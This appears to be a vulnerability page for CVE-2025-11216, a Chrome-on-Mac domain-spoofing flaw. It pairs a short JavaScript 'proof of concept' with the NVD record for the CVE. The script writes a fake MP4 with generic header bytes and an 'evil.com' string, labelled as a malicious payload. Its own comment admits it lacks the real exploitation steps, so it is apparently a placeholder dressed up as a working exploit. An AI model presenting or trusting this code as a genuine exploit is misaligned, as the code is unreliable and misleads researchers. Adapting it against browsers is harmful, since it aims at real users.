CVE-2025-11216

// CVE-2025-11216 PoC - Domain Spoofing via Crafted Video File // This PoC demonstrates the concept of exploiting Storage implementation flaws // Note: Actual exploitation requires specific video file manipulation const fs = require('fs'); // Generate a crafted video file with embedded domain spoofing payload function generateCraftedVideo() { const header = Buffer.from([ 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x02, 0x00, 0x69, 0x73, 0x6F, 0x6D, 0x69, 0x73, 0x6F, 0x32 ]); // Malformed metadata that triggers Storage component vulnerability const maliciousPayload = Buffer.from([ 0x00, 0x00, 0x00, 0x08, 0x6D, 0x64, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]); // Domain spoofing metadata injection const domainSpoofData = Buffer.from( 'evil.com\x00'.padEnd(32, '\x00') ); return Buffer.concat([header, maliciousPayload, domainSpoofData]); } // Save the crafted video file const pocVideo = generateCraftedVideo(); fs.writeFileSync('cve-2025-11216-poc.mp4', pocVideo); console.log('CVE-2025-11216 PoC video file generated'); console.log('Target: Google Chrome on Mac < 141.0.7390.54'); console.log('Attack: Domain spoofing via Storage implementation flaw');

{"cve": {"id": "CVE-2025-11216", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:39.557", "lastModified": "2025-11-13T15:28:55.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Storage in Google Chrome on Mac prior to 141.0.7390.54 allowed a remote attacker to perform domain spoofing via a crafted video file. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/419721056", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}